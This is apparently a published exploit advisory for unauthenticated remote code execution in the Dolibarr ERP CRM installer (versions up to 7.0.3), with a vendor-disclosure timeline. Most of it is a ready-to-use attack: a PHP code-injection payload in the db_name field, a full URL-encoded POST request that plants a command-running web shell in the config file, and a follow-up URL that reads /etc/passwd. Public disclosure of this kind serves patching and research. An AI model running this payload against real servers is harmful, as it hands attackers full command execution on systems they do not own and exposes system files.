32 lines
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1.3 KiB
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32 lines
No EOL
1.3 KiB
Text
# Exploit Title: Unauthenticated Remote Code Evaluation in Dolibarr ERP CRM =<7.0.3
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# Date: 06/29/2018
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# Exploit Author: om3rcitak - https://omercitak.com
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# Vendor Homepage: https://dolibarr.org
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# Software Link: https://github.com/Dolibarr/dolibarr
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# Version: =<7.0.3
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# Tested on: Unix, Windows
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## Technical Details
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URL: http://{domain}/{dolibarr_path}/install/step1.php
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Parameter Name: db_name
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Parameter Type: POST
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Attack Pattern: x\';system($_GET[cmd]);//
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## Steps to reproduce the behavior
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- Go to fresh install page.
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- Click "Next Step" button for create example config file (conf/conf.php)
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- Send this request:
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```
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POST {dolibarr_path}/install/step1.php HTTP/1.1
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Host: {domain}
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testpost=ok&action=set&main_dir=C%3A%2FAmpps%2Fwww&main_data_dir=C%3A%2FAmpps%2Fwww%2Fdocuments&main_url=http%3A%2F%2Flocalhost+&db_name=x%5C%27%3Bsystem(%24_GET%5Bcmd%5D)%3B%2F%2F&db_type=mysqli&db_host=localhost&db_port=3306&db_prefix=llx_&db_create_database=on&db_user=root&db_pass=root&db_create_user=on&db_user_root=root&db_pass_root=root&selectlang=auto
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```
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- Visit url and run the command: `http://{domain}/{dolibarr_path}/install/check.php?cmd=cat /etc/passwd`
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## Timeline
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- 06/29/2018 18:30 - Found vulnerability.
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- 06/29/2018 18:44 - Report vendor.
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- 06/29/2018 20:38 - Vulnerability fixed by vendor.
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GitHub Issue: https://github.com/Dolibarr/dolibarr/issues/9032 |